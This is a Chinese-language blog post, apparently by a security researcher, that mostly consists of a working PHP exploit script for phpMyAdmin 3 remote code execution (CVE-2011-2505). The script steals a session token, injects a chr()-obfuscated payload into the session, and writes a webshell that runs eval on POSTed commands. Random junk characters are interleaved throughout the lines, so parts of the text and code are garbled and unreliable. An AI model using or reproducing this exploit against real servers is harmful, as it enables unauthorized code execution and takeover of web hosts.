phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
9 k0 {% m8 Q6 B5 b1 G
8 q* J% i, f/ [. X首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
/ y( j7 H) a0 N. |: F1 p一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
1 R4 o4 G& V! w' V0 I
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

& j) M" s" ?0 L于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
<?php
- Q% g) k. M/ V/ J6 Eprint_r('
+---------------------------------------------------------------------------+
3 Z; |' R# [2 Opma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
2 J% t. n6 y/ \( [4 P1 y# x- Ywelcome to www.t00ls.net
! S! K6 k8 Q% f5 fmail: oldjun@gmail.com
$ G4 a6 J& W! V' V+ {4 z: cAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
" u$ ?# b  W: T');
7 t8 x% A  @  l
! s, B7 M/ y6 s5 v- e) S/ v  ]/**
0 }8 c  t- N7 w( N9 Q# I# N * working when the directory:"config" exists and is writeable.
**/

% ^: I) q6 i4 G" b/ S: i$ G: Wif ($argc < 3) {
    print_r('
3 p  R+ m# C1 h/ f( C2 _' S  ^; K) M+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
# {2 ^( _& N  Bhost:      target server (ip/hostname)
path:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
6 S2 z! ^0 R3 |/ g* }; o');
    exit;
}

$host = $argv[1];
2 n$ T8 r( C4 _# l2 U; O+ A$path = $argv[2];

( O/ E; B* B) s( C- e* O/**
, ~5 t' X* M# Z& v * Try to determine if the directory:"config" exists
! D* j% {4 |3 T1 V4 p2 E**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
6 c( V, y- H+ j/ b/ T3 Qif(strpos($returnstr,'404')){
+ o' L/ v9 ~. c- G3 @# T* j    exit("[-] Exploit Failed! The directory:config do not exists!\n");
* D* u2 W# E  w. `}

/**
/ m& |; w  y3 E1 u( c5 h2 ^ * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
3 {  o# Z1 |- M6 ]$ j$result=php_request('index.php');
) P1 G* U( _+ _# t2 N/ Qpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
% q3 p% Z4 p5 b) g8 }- b$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
2 M3 `- R6 ?8 t5 l' }    echo "[+] Session IDsessionid\n";
9 V/ K0 I, Z1 `+ f( C}else{
0 W/ M* B& Z" J8 o$ Q3 B    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

( R( e) {% W# o5 T% a/**
8 J+ \& `" x0 ~9 u * Try to insert shell into session
8 A& y; t/ w. k/ M$ I. a**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
: H9 e4 d# A2 _
/**
3 z# F4 J8 t, C * Try to create webshell
% J' [4 k4 l; y! ~) X2 _, p**/
echo "[+] Try to create webshell....\n";
0 X& F; s" U/ O$ a; L, c" C/ J5 vphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
5 H/ M1 }. ]. |, G2 n& l- h/**
: S$ V/ Q+ d6 B3 d% g * Try to check if the webshell was created successfully
) \" _% U: U! m0 n7 U# I! F**/
; t8 W4 E  p7 _echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
9 ^) ^5 {, x& S( @* B' b" f  j# d7 I. rif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
4 a2 Z" z5 J; K. W/ \. y% y}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

2 D1 a( R: ^+ M2 ]4 y8 z" b+ M$ O# W9 nfunction php_request($url,$data='',$cookie=''){
8 L( q0 ~0 J+ ~    global  $host, $path;
   
( A+ ^, K, N% R, O% J    $method=$data?'POST':'GET';
   
) V: f% G# x; I- p9 X6 [. o# u    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
/ @; Q: |8 V6 U$ Y    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
( [1 W- N0 S7 _' G    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
$ e" @+ E( y, c, e# X. g. p    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
' g: Q7 b) c2 {& z% `, D* m# \    if (!$fp) {
    echo 'No response from '.$host; die;
. t4 p; r4 b9 m3 b& `    }
8 R. r3 C3 c3 T! x/ O    fputs($fp, $packet);

    $resp = '';

/ I! J' r: j9 i) b8 U" b    while ($fp && !feof($fp))
; ?* y+ |! i, D7 A: V9 `        $resp .= fread($fp, 1024);

    return $resp;
}
   
?>
.